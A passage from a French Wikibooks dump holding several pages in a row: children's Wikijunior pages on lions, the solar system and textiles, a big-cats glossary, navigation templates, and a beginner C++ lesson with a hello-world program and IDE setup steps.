lions mâle sont chassés de leur troupe par le chef (ou par un des mâles les plus âgés). Si le chef de troupe est vieux, le jeune mâle, seul ou avec d'autres jeunes, combattra parfois pour assurer la relève du commandement. <!-- peut être mal dit ! à voir pour reformuler : Boly --> <!-- A TRADUIRE : (rogue?) Those who leave become rogue males and may partner up other rogues. Having a partner makes it easier for a lion to survive and eventually win a pride of his own. --> {{Clr}} ==Faits amusants== [[Image:Lion zoo antwerp 1280.jpg|thumb|left|Un lion mâle a une crinière de longue fourrure autour de sa tête]] * Le lion dort en moyenne 20 heures par jour. * Le museau d'un lion est comme une empreinte digitale; deux lions n'auront jamais le même museau. * Les lions se disent bonjour en se frottant les joues. * Les lions se disent au revoir en mordillant l'estomac de l'autre avec les dents. * Le lion est le plus bruyant des fauves. L'hurlement d'un lion masculin peut être entendu de jusqu'à huit kilomètres au loin. * Les lions marchent normalement à 4 km/h, mais ils peuvent courir jusqu'à 60 km/h. Ils peuvent également sauter des distances jusqu'à 12 m. * Les lions sont les seuls types de fauve qui vivent dans un groupe avec une hiérarchie sociale . {{Clr}} ==Classification== Les lions font partie de l'ordre des [[wikipedia:fr:Carnivora|Carnivores]], de la famille des [[wikipedia:fr:Felidae|Félidés]], et ont pour nom scentifique [[wikipedia:fr:Panthera leo|Panthera leo]]. ==Plus d'informations== {{Wiktionnaire|lion|Lion}} {{Commons|Panthera leo|les lions}}{{Wikispecies|Panthera_leo|Panthera leo}} {{Wikipédia|Lion|Lion}} * {{en}} [http://www.sandiegozoo.org/animalbytes/t-lion.html] - Entendre le rugissement d'un lion. <!-- * {{en}} [http://www.tigertouch.org/barbary/index.html] - learn about the rare Barbary lions of North Africa. --> [[Catégorie:Wikijunior:Les félins|Les lions]] [[de:Wikijunior Großkatzen/Löwe]] [[en:Wikijunior Big Cats/Lion]] [[es:Wikichicos Grandes Felinos/León]] [[it:Wikijunior_Grandi_felini/Leone]] [[zh:Wikijunior:大猫/狮子]] Wikijunior:Système solaire/Les autres objets célestes 6444 43280 2006-05-26T16:52:03Z Xzapro4 1530 Orthographe {{Système solaire}}Dans le système solaire il y a beaucoup d'objets différents, les plus connus étant : *[[Wikijunior:Système solaire/Le soleil|le soleil]] ; *[[Wikijunior:Système solaire/Les planètes|les planètes]] ; *[[Wikijunior:Système solaire/Les Lunes|les Lunes]]. Mais il y en a encore d'autres. ==Les comètes== ===Images=== [[image:CometWest.gif|100px]] [[image:Hyakutake.jpg|100px]] [[image:Halebopp031197.jpg|100px]] [[image:Cometorbit.png|100px]] [[image:CometBorrelly1002.jpg|100px]] [[image:Comet-Hale-Bopp-29-03-1997 hires adj.jpg|100px]] ==Les astéroïdes== Ce sont de gros blocs de roches de formes très diverses ressemblant souvent à des pommes de terre. Ils sont principalement regroupés à deux endroits : la ceinture d'astéroïdes et le [[w:nuage d'Oort|nuage d'Oort]]. ===Images=== [[image:!mathilde.jpg|100px]] [[image:243 ida.jpg|100px]] [[image:433eros.jpg|100px]] [[Image:Asteroid-Kleopatra-radar.png|100px]] [[Image:Galileo Ida n Dactyl.jpg|100px]] [[Image:Galileo Gaspra Mosaic.jpg|100px]] ==Les météorites== ===Images=== [[Image:Meteor.jpg|100px]] [[Image:Ångström crater Apollo 15.jpg|100px]] [[Image:Gibeon.jpg|100px]] [[Image:Sikhote Alin.jpg|100px]] [[Image:TolucaMeteorite.jpg|100px]] ==Les satellites artificiels== Les satellites artificiels sont des machines créées par l'homme dans le but de lui rendre service. Les satellites artificiels qui tounent autour de la Terre permettent à l'homme de se repérer géographiquement ou lui permettent d'être en contact (ex: par téléphone) avec une personne se situant dans un autre pays. D'autres satellites artificiels sont envoyés dans l'espace ou en orbite autour d'autre planète, ceux-ci ont pour but de récolter des informations et de prendre des photos pour les envoyer sur Terre. ===Images=== [[Image:Astro-f.jpg|100px]] [[Image:Hubble 01.jpg|100px]] [[catégorie:Wikijunior:Système solaire|Lunes, Les]] Modèle:Wikijunior:Le système solaire/Sommaire 6445 28560 2006-01-10T07:54:20Z Boly38 136 -+système -<center> +align="center" (mais je verrai plus un padding à 10 et un align left.) {| width="100%" border="0" cellspacing="0" cellpadding="0" | bgcolor="blue" align="center" colspan="2" | <font size="+1">&#160;<br/>''Sommaire''<br/>&#160;</font> |- | bgcolor="lightblue" align="center" | *[[Wikijunior:Système solaire/Qu'est-ce que le système solaire ?|Qu'est-ce que le système solaire ?]] *[[Wikijunior:Système solaire/Les planètes|Les planètes]]. *[[Wikijunior:Système solaire/Le soleil|Le soleil]]. *[[Wikijunior:Système solaire/Les lunes|Les lunes]]. *[[Wikijunior:Système solaire/Les autres objets célestes|Les autres objets célestes]]. *[[Wikijunior:Système solaire/La naissance du système solaire et son avenir|La naissance du système solaire et son avenir]]. *[[Wikijunior:Système solaire/Glossaire|Glossaire]]. |} Wikilivres:Page XM 6450 28581 2006-01-10T13:24:44Z 84.6.214.6 '''Un cours de C++ pour débutants''' Programmation C++ (débutant)/Notions de base 6452 44064 2006-06-07T05:49:19Z Djo0012 1617 /* ''' Les environnements de développement intégrés (EDI) ''' */ ajoute de vc++ express {{C++ débutant}} == Le cours du chapitre 1 : Notions de base== __TOC__ === '''Les langages de programmation'''=== <br/> Le C++ est un '''langage de programmation''' : il sert donc à écrire des applications informatiques. Il s'agit d'ailleurs d'un des langages de programmation les plus utilisés aujourd'hui. Chaque programme en C++ doit être écrit en respectant des règles d'écriture très strictes que nous étudierons petit à petit. ===''' Un langage compilé'''=== <br/> Le C++ est un langage compilé : pour écrire un tel programme, il faut commencer par écrire un ou plusieurs fichiers source. Ensuite, il faut compiler ces fichiers sources grâce à un programme appelé compilateur afin d'obtenir un programme exécutable. Cette phase s'appelle la compilation. Les fichiers source sont des fichiers texte lisible dont le nom se termine en général pour .c, .cpp ou .h. Les fichiers exécutables portent en général l'extension .exe sous windows et ne portent pas d'extension sous linux. === ''' Les compilateurs'''=== <br/> Il existe de très nombreux compilateurs : on peut citer par exemple Visual C++ (de microsoft), C++ Builder (de Borland), ou encore gcc qui est un excellent compilateur libre. === ''' Les environnements de développement intégrés (EDI) '''=== <br/> On programme très souvent en utilisant un environnement de développement intégré : il s'agit d'un ensemble complet d'outils permettants d'éditer et de modifier des fichiers sources, de les compiler, de lancer l'exécutable, de "deboguer" le programme, etc... Visual C++ (version express disponible gratuitement), C++ Builder, Dev-cpp (disponible gratuitement et basé sur gcc) et Code::Blocks (lui aussi gratuit mais plus souvent mis à jour que Dev-cpp) sont des environnements de développement intégrés. ===''' Le C et le C++'''=== <br/> Le langage c est un langage de programmation inventé par Mrs Kernighan et Ritchie au début des années 70. Au début des années 90, Mrs Stroustrup fait évoluer le langage vers le langage C++ en lui rajoutant notamment les notions orientées objet. === '''Aspects pédagogiques'''=== <br/> Dans ce cours, nous allons d'abord apprendre les notions non orientées objet du C++ (donc nous étudierons principalement les notions du langage C), puis seulement dans un second temps nous étudierons les notions orientées objet. Dans un troisième temps, nous aborderons l'étude des interfaces graphiques. Il existe un débat incessant sur LA bonne manière de faire : quand faut-il aborder la notion d'objet ? Pour des débutants, je conseille plutôt de procéder selon ce plan.<br/> On remarquera que la notion d'interface graphique ne sera abordée que tout à la fin du cours : nous commencerons donc à écrire des programmes en mode texte dont l'interface graphique sera rudimentaire. Ceci est très frustrant pour le débutant mais semble absolument nécessaire. ==='''Un premier exemple'''=== <br/> Nous allons maintenant étudier ce premier exemple : {{Cadre code|''Exemple 1'' : un premier exemple| <pre> #include <iostream> using namespace std; int main() { cout<<"BONJOUR"; return 0; } </pre> }} <br/>&nbsp; <ul> <li>'''La directive #include''' <br/> On place en général au début du programme un certains nombres d'instructions commençant par #include . Cette instruction permet d’inclure dans un programme la définition de certains objets ou fonctions. Le nom du fichier peut être soit à l'intérieur des chevrons < et >, soit entre guillemets.<br/> &#35;include<nom_fichier> Inclut le fichier nom_fichier qui a été écrit par l ’éditeur du compilateur. On place alors entre chevrons le nom du fichier à inclure.<br/> &#35;include “ nom_fichier “ Inclut le fichier nom_fichier qui a été écrit par le programmeur. On place alors entre guillemets le nom du fichier à inclure. <br/>&nbsp; </li> <li>'''using namespace std;''' <br/> Cette ligne est un peu plus difficile à comprendre : en fait on indique par cette ligne l'utilisation de l'espace de nommage std. Un espace de nommage est un ensemble de classes dont cout fait partie. Comme nous voulons utiliser l'objet cout, nous indiquons qu'on utilisera par défaut l'espace de nommage std. Pour simplifier nous retiendrons que dès qu'on veut utiliser cin ou cout, nous écrirons cette directive. <br/>&nbsp; </li> <li>'''Le fichier iostream''' <br/> Le fichier iostream contient un certain nombre de définitions d’objets intervenant dans les entrées/sorties du programme, c’-est-à-dire dans l’affichage à l’écran ou dans des fichiers. La définition de cout se trouve dans ce fichier; pour utiliser cout dans notre programme, il faut inclure au début du programme la ligne suivante :<br/> &#35;include <iostream><br/> Ce fichier est fournit par l’éditeur du compilateur : il s’agit d’un fichier C++ standard. <br/>&nbsp; </li> <li>'''La fonction main()''' <br/> Notre programme contient une fonction appelé main : c’est à cet endroit que va commencer l’exécution du programme : exécuter un programme en C++, c’est exécuter la fonction main de ce programme. Tout programme en C++ doit donc comporter une fonction main. <br/> La fonction main apparaît sous la forme suivante : <pre> int main() { on place ici une liste d’instructions en C++ } </pre> La liste d’instructions entre accolades est exécutée séquentiellement : on exécute chaque instruction, dans l’ordre, les unes après les autres. </li> <li>'''cout''' <br/>Il s’agit du flux de sortie du programme. Ce flux de sortie est envoyé par défaut vers l’écran. Il va nous servir à afficher des messages à l’écran en utilisant l'opérateur <<. <br/> Exemple : cout<<"BONJOUR"; <br/>Cette instruction affiche BONJOUR à l’écran. <br/>Un autre exemple : <br/>cout<<endl; <br/>Lorsqu'on envoie endl vers l'affichage, on passe à la ligne suivante. <br/> Il faut également connaître une écriture plus condensée. Au lieu d ’écrire en 3 instructions : <br/> cout<<"BONJOUR"; <br/>cout<<endl; <br/>cout<<" AU REVOIR"; <br/>on peut écrire en une seule instruction : <br/>cout<<"BONJOUR" <<endl<<"AU REVOIR"; </li> <li> La dernière instruction de notre programme est return 0; Elle indique seulement que la fonction main s'est terminée correctement sans erreurs particulières. <br/>&nbsp; </li> <li>'''Exécution du programme ''' <br/> Lorsqu'on édite notre fichier source, puis compile et enfin exécute notre programme il s'affiche alors à l'écran : <br/>BONJOUR </li> <li>'''Remarque''' <br/> L'ajout de l'instruction system("PAUSE"); sera parfois nécessaire pour que le programme ne s'arrête pas immédiatement après s'être ouvert. Cette instruction doit être ajouté avant l'instruction return 0; . </li> </ul> </li> ==Aspect pratique== ===Utiliser Dev-Cpp sous Windows=== *Lorsque vous lancez Dev C++, vous voyez apparaître l'écran ci-contre. <br/>[[Image:Dev-cpp1.jpg]] *Pour créer un nouveau projet, il faut choisir dans le menu Fichier puis Nouveau puis Projet. <br/>[[Image:Dev-cpp2.jpg]] *Il faut faire le choix "Empty project". Il faut taper le nom du projet dans le champs texte Nom. On clique sur le bouton OK. <br/>[[Image:Dev-cpp3.jpg]] *Il s'ouvre alors une fenêtre qui nous permet de créer le répertoire de notre projet. On clique sur enregistrer pour y enregistrer notre fichier de projet dont l'extension est .dev. <br/>[[Image:Dev-cpp4.jpg]] *Pour rajouter un nouveau fichier source dans notre projet, il faut choisir dans le menu Fichier, puis Nouveau puis Fichier Source. <br/>[[Image:Dev-cpp5.jpg]] *Une fenêtre nous demande si on veut vraiment ajouter un nouveau fichier au projet : on clique sur Yes. <br/>[[Image:Dev-cpp6.jpg]] *On sauvegarde ensuite ce fichier en choisissant dans le menu Fichier, puis Sauvegarder. [[Image:Dev-cpp7.jpg]] *On nous demande alors le nom du fichier à ajouter: ici on l'a appelé main.cpp. On clique ensuite sur enregistrer. <br/>[[Image:Dev-cpp8.jpg]] *On tape alors notre ficher source. On l'enregistre en cliquant dur Fichier puis Enregistrer. Pour une application en mode texte, il est recommandé de rajouter l'instruction system("PAUSE") juste avant l'instruction return 0;. <br/>[[Image:Dev-cpp9.jpg]] *Pour compiler notre programme, on choisit dans le menu Exécuter puis Tout reconstruire. [[Image:Dev-cpp10.jpg]] *Les éventuelles erreurs de compilation apparaissent dans la fenêtre du bas. <br/> [[Image:Dev-cpp11.jpg]] *Pour exécuter le programme, il suffit de choisir dans le menu Exécuter suivi de Exécuter. <br/>[[Image:Dev-cpp12.jpg]] *On voit alors apparaître à l'écran l'exécution de notre programme. <br/>[[Image:Dev-cpp13.jpg]] ===Utiliser Visual C++ sous Windows=== *Lorsque vous lancer Visual c++,vous obtenez cet écran [[Image:Acceuil_visual.jpg]] *Pour créer un nouveau projet il faut cliquer dans new->Project [[Image:Menu_visual.jpg]] *Puis sur Clr Console application,ensuite donnez un nom à votre projet dans le champ name [[Image:Essai1_visual.jpg]] *Tapez votre code [[Image:Taper_code_visual.jpg]] *Et appuié sur F5 ,votre application se lance à compléter ===Utiliser gcc sous Linux=== Il faut sauvegarder le fichier par exemple sous le nom "main.C" Ensuite, il faut installer g++ et lancer la commande : g++ main.C -o main à compléter ===Utiliser Kdevelop sous Linux=== == Exercices du chapitre 1 == <br/>1) En utilisant l'environnement de développement de votre choix, écrire, compiler et exécuter un programme qui affiche bonjour à l'écran. Modèle:Les félins 6454 43325 2006-05-28T04:23:45Z 69.175.48.97 tk {| style="padding: 0.3em; float:right; margin-left:15px; border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="0" | style="text-align:center;background:#E0E0F0;" | '''[[Wikijunior|Wikijunior]]''' |- | style="text-align:center;background:yellow;" | [[Image:Caracalkitten.jpg|150px|center|Bébé caracal]] |- | style="text-align:center;background:yellow;" | [[Wikijunior:Les félins|''Les félins'']] |- | bgcolor="lightyellow" | * [[Wikijunior:Les félins/Introduction|Introduction]] * [[Wikijunior:Les félins/Les félins|Les félins]] * [[Wikijunior:Les félins/Historique (les fossiles)|Historique (les fossiles)]] * [[Wikijunior:Les félins/Les lions|Les lions]] * [[Wikijunior:Les félins/Les tigres|Les tigres]] * [[Wikijunior:Les félins/Les pumas|Les pumas]] * [[Wikijunior:Les félins/Les guépards|Les guépards]] * [[Wikijunior:Les félins/Les lynx|Les lynx]] * [[Wikijunior:Les félins/Le caracal|Le caracal]] * [[Wikijunior:Les félins/Le serval|Le serval]] * [[Wikijunior:Les félins/Le jaguard|Le jaguard]] * [[Wikijunior:Les félins/L'ocelot|L'ocelot]] * [[Wikijunior:Les félins/Le léopard|Le léopard]] * [[Wikijunior:Les félins/Le léopard blanc|Le léopard des neiges]] * [[Wikijunior:Les félins/Le léopard tâcheté|Le léopard tâcheté]] * [[Wikijunior:Les félins/Les tigons et liguers|Les tigons et liguers]] * [[Wikijunior:Les félins/Extinction d'espèces|Extinction d'espèces]] * [[Wikijunior:Les félins/Préserver les fauves|Préserver les fauves]] * [[Wikijunior:Les félins/Glossaire|Glossaire]] |} Wikijunior:Les félins/Glossaire 6455 43268 2006-05-26T15:31:29Z Boly38 136 /* Glossaire */ type spécifique au glossaire : ";mot:definition" merci fred.th {{Les félins}} ==Glossaire== ''Un glossaire des termes utilisés dans ce livre'' : ;'''Canines''' : parfois appelés '''''crocs''''', les canines sont des dents utilisées comme des armes pour saisir et manger les proies. ;'''Captivité''' : animaux qui sont gardés par les hommes. ;'''Carnivore''' : un animal qui mange de la viande. ;'''Charogne''' : la chair d'un animal mort, que les carnivores mangent. ;'''Classification''' : comment les scientifiques donnent aux animaux les noms que tout le monde comprend, d'une façon qui reflète notre compréhension scientifique du degré de relation entre les différents animaux. ;'''Conservation''' : façon de réduire la quantité de ressources naturelles exploitée, y compris le recyclage ;'''Diurne''': actif pendant le jour et dormant la nuit ;'''Domestication''': faire passer les animaux de leur habitat naturel à l'habitat humain, puis les modifier afin qu'ils soient plus propres à cohabiter avec les humains. ; (...''pr continuer voir commentaire''...) <!-- ;'''Canine teeth''': Sometimes called ''fangs'', they are used as weapons and to grasp and hold prey ;'''Captivity''': Animals that are kept by humans ;'''Carnivore''': An animal that eats meat ;'''Carrion''': Meat eaten by carnivores that were not the ones that killed it ;'''Classification''': The way scientists give animals names that everyone around the world will understand, in a way that reflects our scientific understanding of how closely different animals are related to one another. ;'''Conservation''': Ways of reducing the amount of natural resources used, including reusing and recycling ;'''Diurnal''': Active during the day and asleep at night. ;'''Domestication''': Taking animals from their natural habitat into the human habitat, then changing them in ways that make them more suitable to living with humans. ;'''Endangered''': Animals that are in danger of becoming extinct. ;'''Extinction''': When all animals of a kind are gone, that kind of animal is extinct. They can never come back. ;'''Family''': A medium sized group used in '''classification''', it is made up of very closely related animals. ;'''Fertile''': Able to have offspring ;'''Flank''': The side part of an animal's body ;'''Habitat''': An area able to support a type of animal ;'''Herbivore''': An animal that eats plants such as leaves and berries ;'''Hybrid''': The offspring of two animals of different but similar kinds, such as a lion and a tiger. ;'''Hybridization''': When two animals of different kinds have offspring together. ;'''Instinct''': An animal's inherited knowledge; knowledge that did not have to be learned. ;'''Jungle''': A large forest in warm countries with many different kinds of animals and plants. ;'''Life span''': How long an animal usually lives ;'''Litter''': A group of baby animals with the same parents ;'''Mammal''': A warm-blooded animal that has hair on its skin and gives its children milk to drink ;'''Mane''': The furry crown around a male Lion's head ;'''Muzzle''': The part of an animal's face that includes the nose and jaws ;'''National Park''': Land that is kept in a natural state by for a variety of reasons, all of them important ;'''Nature preserve''': Land that is kept in a natural state for conservation reasons where the welfare of plants and animals is more important than any other uses ;'''New World''': North, Central and South America. ;'''Nocturnal''': Active at night and asleep during the day. ;'''Offspring''': The children of an animal ;'''Old World''': Europe, Asia, Australia and Africa. ;'''Order''': A very large group used in '''classification''', it contains a number of closely related '''families'''. ;'''Poaching''': Illegally killing an animal ;'''Prairie''': A large, flat plain with a lot of grass and almost no trees, such as the Great Plains of North America ;'''Predator''': An animal that hunts other animals and eats them ;'''Prey''': An animal hunted by another animal for food ;'''Rainforest''': A large forest that stays warm and wet year round with many different kinds of animals and plants ;'''Rosette''': A mark in an animal's fur where a number of closely placed spots form an unbroken circle. ;'''Retract (claw)''': The hiding of claws inside a paw ;'''Savannah''': A large, flat plain with a lot of grass and scattered groups of trees, such as in East Central Africa ;'''Scavenge''': To look for meat for food that was killed by a different animal. ;'''Scientific name''': The name given to a species by scientists when they classify it. ;'''Siblings''': All the offspring from one litter, or sometimes offspring with the same parents from two different litters ;'''Species''': A group of animals that under normal conditions can have offspring together. ;'''Steppes''': A large, flat plain with a lot of grass and almost no trees. ;'''Sterile''': Not able to have children ;'''Subtropical''': An area that never gets very cold in the winter, but which has different seasons. ;'''Tropical''': An area that never gets cold and does not have different seasons. Tropical areas are found close to the equator, and on a world map the area between the ''Tropic of Capricorn'' and ''Tropic of Cancer'' is considered the tropics. ;'''Wildlife refuge''': Land that is used to protect of wild animals. Sometimes parts of a wildlife refuge are not kept in a natural state to give certain species of animals a little extra help. Planting rice in a water bird area is one example. ;'''Zoo''': A type of living museum where animals are kept for people to learn about them and have fun --> [[Catégorie:Wikijunior:Les félins|Glossaire]] [[en:Wikijunior Big Cats/Glossary]] Modèle:Système solaire 6456 28642 2006-01-10T18:15:13Z Boly38 136 création inspirée de [[Modèle:Les félins]] +renommer l'avant dernier titre : "Sa naissance et son avenir" ? / puis le premier titre en "Le système solaire" {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 10px;" cellspacing="0" cellpadding="0" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[Wikijunior|Wikijunior]]''' |- | style="text-align:center;background:black;" | [[Image:Solar sys.jpg|150px|center|''Le système solaire'']] |- | style="text-align:center;background:black;" | <font color="blue">[[Wikijunior:Système solaire|''Le système solaire'']]</font> |- | bgcolor="lightblue" | *[[Wikijunior:Système solaire/Qu'est-ce que le système solaire ?|Le système solaire]]. *[[Wikijunior:Système solaire/Les planètes|Les planètes]]. *[[Wikijunior:Système solaire/Le soleil|Le soleil]]. *[[Wikijunior:Système solaire/Les lunes|Les lunes]]. *[[Wikijunior:Système solaire/Les autres objets célestes|Les autres objets célestes]]. *[[Wikijunior:Système solaire/La naissance du système solaire et son avenir|Sa naissance et son avenir]]. *[[Wikijunior:Système solaire/Glossaire|Glossaire]]. |} Modèle:Wikivar 6459 31054 2006-01-31T20:00:55Z Gangleri 982 from [[en:template:wikivar]] <center><font id="top" /><span dir="ltr" ><span class="plainlinks">[{{SERVER}}{{localurl:template:wikivar|action=purge}} purge] [{{SERVER}}{{localurl:{{NAMESPACE}}:{{PAGENAME}}|oldid={{REVISIONID}}}} rev-ID : {{REVISIONID}}] &nbsp; [[meta:template:wikivar|meta:]] [[commons:template:wikivar|commons:]] [[<!--- b: --->template:wikivar|b:]] [[n:template:wikivar|n:]] [[q:template:wikivar|q:]] [[s:template:wikivar|s:]] [[wikt:template:wikivar|wikt:]] [[w:template:wikivar|w:]]<br />[http://cvs.sourceforge.net/viewcvs.py/wikipedia/phase3/languages/Language.php?view=markup $wgMagicWordsEn at CVS Language.php] &nbsp; [[meta:help:Variable|meta:help:Variable]], [[meta:Global variables|meta:Global variables]]</span></span></center> {| border="1" cellpadding="0" cellspacing="0" align="center" width="80%" valign="top" height="38" !method a !method b !generates |- ! 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Textiles 6466 40152 2006-04-13T16:28:46Z 83.115.99.187 /* '''La laine''' */ == ''''''Pour fabriquer des vêtements, les textiles'''''' == Jusqu’en 3000 ans avant notre ère, la peau de bête était l’unique matériau des vêtements préhistoriques. Sous les climats moins froids, les hommes ont utilisé des feuilles solides ou la fine écorce de certains arbres, battue pour l’assouplir, afin d’en faire des pagnes. Quand les hommes préhistoriques cessèrent d’être uniquement chasseurs - pêcheurs (vers 3000 ans avant notre ère) et devinrent agriculteurs - éleveurs, ce fut l’époque des premières fibres textiles pour fabriquer des tissus. On utilisa au cours des siècles :  - des fibres d’origine animale (laine, soie), - des fibres d’origine végétale (lin, coton, chanvre, jute, ramie), - puis, au XIXe siècle, des fibres artificielles, fabriquées à partir de la cellulose, - enfin, au XXe siècle, des fibres synthétiques, créées par la combinaison de produits chimiques. == '''La fourrure''' == On continue toujours à utiliser de la fourrure pour l’habillement. Le problème est de bien la tanner pour l’empêcher de pourrir, puis de l’assouplir en la trempant dans des bains et en la battant. Les fourreurs (professionnels de la fourrure) découpent les peaux en bandes afin de regrouper les morceaux de même épaisseur et de même couleur et ils les recousent entre elles pour obtenir le résultat le plus beau et le plus souple. Il est maintenant interdit de tuer, pour leur fourrure, la plupart des animaux sauvages et toutes les peaux proviennent maintenant d’élevages. Pour obtenir légalement un manteau de léopard, il faut avoir recours à des procédés artificiels. On fabrique actuellement des fourrures synthétiques entièrement fabriquées en usine. == '''La laine''' == Pour les éleveurs, dès la Préhistoire, l’idée d’utiliser les poils d’une bête sans la tuer permettait, en la tondant de nombreuses fois dans sa vie, d’assurer la reproduction des troupeaux et la production du lait. C’est le mouton dont on utilise le plus la laine, mais aussi certaines races de chèvres, de lamas, de chameaux et même de lapins angoras. Quand il n’existait pas encore de tondeuse, les éleveurs employaient des ciseaux à ressort d’une seule pièce, appelés forces. Toutes les races de bêtes ne fournissent pas la même qualité de laine ; les plus recherchées sont le mouton mérinos, les chèvres mohair et cachemire, l'alpaga. Sur la même bête, toute la laine n’a pas une qualité identique : la meilleure est celle des flancs et du dos ; la moins bonne, celle du haut des cuisses. On trie donc des lots selon la qualité. La moins bonne ne servira pas à faire des vêtements, mais de grosses couvertures, du rembourrage de matelas ou maintenant des panneaux d’isolation. Avant d’utiliser la laine, il faut d’abord la laver pour la débarrasser du suint (la graisse entourant les poils). On doit ensuite la carder, c’est-à-dire la peigner énergiquement avec des griffes de métal pour démêler les poils et les mettre dans le même sens. Cela permet de filer ensuite la laine, en formant un fil continu qui réunit des poils ne mesurant chacun que quelques centimètres de longueur. La laine se teint facilement. En plus de sa douceur et de son élasticité, la laine est mauvaise conductrice de la chaleur (elle ne laisse pas passer le froid). Son défaut est de feutrer si on la lave à l’eau trop chaude (les écailles des poils s’accrochent et les fibres s'agglomèrent). Elle ne supporte pas non plus les lessives contenant de la soude. Elle peut être la proie des larves de mites, si on ne la protège pas par des insecticides, quand on la range. == '''La soie''' == De très nombreuses chenilles sécrètent avec leurs glandes un fil avec lequel elles fabriquent le cocon qui les protégera pendant leur métamorphose en chrysalide, puis en papillon. Parmi elles, une espèce : le Bombyx du mûrier produit un fil suffisamment souple et solide pour être utilisée comme textile. On appelle cette chenille : “ ver à soie ”, bien que ce ne soit pas un ver. Dès l’Antiquité, il existait des élevages de vers à soie en Chine, d’où des caravanes apportaient en Europe du fil ou des tissus en soie. Les Chinois gardaient précieusement leur secret, mais un jour il fut découvert par les Européens. On créa alors des élevages en Italie, puis, au XVIIe siècle, dans le midi de la France (où on les appelait des magnaneries). Pour élever des vers à soie, il faut d’abord cultiver des mûriers, arbres dont les larges feuilles sont la seule nourriture de ces chenilles. Les œufs du papillon femelle de Bombyx éclosent au bout de 10 mois. Les petites chenilles dévorent de telles quantités des feuilles qu’on leur fournit qu’en un mois elles atteignent 20 fois leur taille de naissance et 8000 fois leur poids. Au 33e jour, l’instinct des chenilles les pousse à préparer leur métamorphose en papillon. Les éleveurs leur facilitent les choses en disposant des branches sèches. Elles y montent pour accrocher le cocon qu’elles vont fabriquer. Chaque chenille, avec les glandes de ses filières, sécrète un fil continu qu’elle accroche à plusieurs brindilles. Puis, suspendue dans ce filet, elle fabrique autour de son corps un cocon ovale, formé de nombreuses couches de fil de soie. Ce fil continu peut mesurer 1,5 km. Lorsque les cocons sont formés, les éleveurs en conservent une partie pour la reproduction. Afin d’obtenir à peu près autant de papillons mâles que de femelles, ils examinent la forme plus allongée des cocons mâles. Tous les autres cocons sont jetés dans l’eau bouillante pour tuer la chrysalide qu’ils contiennent. On pourra ainsi dévider leur soie intacte. Sinon, le papillon en sortant aurait troué le cocon pour sortir. Quand les cocons sont bien ramollis dans l’eau chaude, on procède au dévidage. Le fil est trop fin pour être utilisé seul. C’est pourquoi, à l’aide d’une brindille ou d’un petit balai, on réunit les fils de plusieurs cocons différents (4 à 7, selon la finesse de chaque fil). On les accroche ensemble à un petit moulinet qui, en tournant, les enroule en torsade. Dès qu’un cocon est terminé, on ajoute le fil d’un nouveau et ainsi de suite. La soie brute obtenue (qu’on appelle soie grège) contient 25% d’impuretés que l’on élimine par lessivage. Le fil de soie devient ainsi souple et brillant. La soie est une fibre textile de grande qualité : souple, résistante, absorbante, mauvaise conductrice de la chaleur, si bien que, malgré sa légèreté, elle tient chaud. Ce qui explique son utilisation en lingerie. Elle se teint facilement, mais craint les produits contenant de la soude ou l'eau de javel. Comme la laine, elle est attaquée par les larves de mites. Son prix élevé a incité à rechercher d’autres textiles fins qui lui ressemblent (les fils artificiels et les synthétiques). On appelle soie sauvage la soie produite par d’autres chenilles que le ver à soie, mais la qualité est loin d’être la même. == '''Le coton''' == On sait que les anciens Egyptiens le cultivaient déjà. Le cotonnier est un arbrisseau des climats chauds et humides. Ses fruits sont des capsules contenant chacune une trentaine de graines entourées d’un abondant duvet. Dans nos régions, certaines plantes possèdent aussi des graines attachées à un duvet (le pissenlit, la clématite), mais on ne pourrait pas l’utiliser comme textile. Après la cueillette des capsules, il faut séparer le coton des graines (dont on récupère l’huile) et des morceaux d’écorce. Si le coton n’est pas transformé en fil sur place, il est comprimé en ballots et expédié vers les filatures. Le coton est résistant et absorbant, assez bon conducteur de la chaleur, ce qui signifie qu’il protège moins du froid que la laine et la soie, mais davantage que le lin. Il supporte l'action des lessives, mais se teint moins facilement que les fibres animales (laine et soie). Les variétés à longues fibres possèdent les meilleures qualités. Le coton est très utilisé pour le linge de corps (sous-vêtements et chemises), les vêtements légers, les draps et le linge de toilette. == '''Le lin''' == On le cultivait déjà dans l’Egypte ancienne. Le lin est une plante à fleur bleue dont les graines fournissent de l’huile, souvent utilisée en peinture. Ses tiges contiennent des fibres souples et résistantes qu’il faut détacher de l’écorce et du bois qui les emprisonnent. Après avoir récupéré les graines, on laisse tremper les tiges dans de l’eau ou dans un mélange chimique. C’est ce qu’on appelle le rouissage qui décolle les fibres, puis le broyage qui élimine en petits morceaux l’écorce et le bois. Il ne reste plus alors que la filasse de lin qui sera ensuite transformée en fil. A l’état naturel, le fil de lin est écru (beige clair). Il blanchit et devient plus souple après plusieurs lessives, mais il perd un peu de sa résistance. Le lin est bon conducteur de la chaleur, ce qui ne signifie qu’il protège mal du froid. Il est frais à porter l’été, mais en laissant s’évaporer la transpiration, il peut provoquer des refroidissements. La finesse et la légèreté du lin le font utiliser pour les tissus délicats, les dentelles, mais également des nappes et des draps de belle qualité. La ramie provient d’une ortie de Chine. On l’emploie souvent en mélange avec d’autres fibres. == '''Le chanvre''' == Dans les campagnes d’autrefois, on cultivait beaucoup cette grande plante (de 1,50 m à 4 m) qui fournit une fibre plus grossière que le lin. Comme pour le lin, on n’obtient la filasse qu’après rouissage et broyage des tiges. Le chanvre permet de fabriquer des tissus solides, mais rêches, ne devenant blancs et souples qu’après des lavages répétés. Comme l’humidité ne l’abîme pas, on l’utilise pour des vêtements de travail, des torchons, des cordages et des voiles de bateaux. == '''Le jute''' == Il s’agit d’une plante herbacée de 2 à 4 m de hauteur, cultivée dans les pays chauds. On l’utilise peu pour les vêtements, sauf pour assurer la rigidité des revers de col. On en fait surtout des toiles d’emballage et des trames de tapis. De même pour le chanvre de Manille (qui provient d’un bananier) ; on l’utilise pour des chapeaux ou des cordes. La raphia, provenant des feuilles d’une variété de palmier, est très solide, on en fait des liens et des nattes (la rabane). == '''Les textiles artificiels''' == Au XIXe siècle, on chercha à fabriquer artificiellement des fibres textiles, aussi fines que la soie, mais moins coûteuses. Pour cela, on eut l’idée de dissoudre dans un mélange chimique des morceaux de cellulose ( déchets de coton ou de tissus, paille, sciure de bois). Puis on fait passer le mélange à travers une filière (sorte de passoire extrêmement fine) et un autre produit chimique solidifie à la sortie les fils obtenus. Selon les produits chimiques 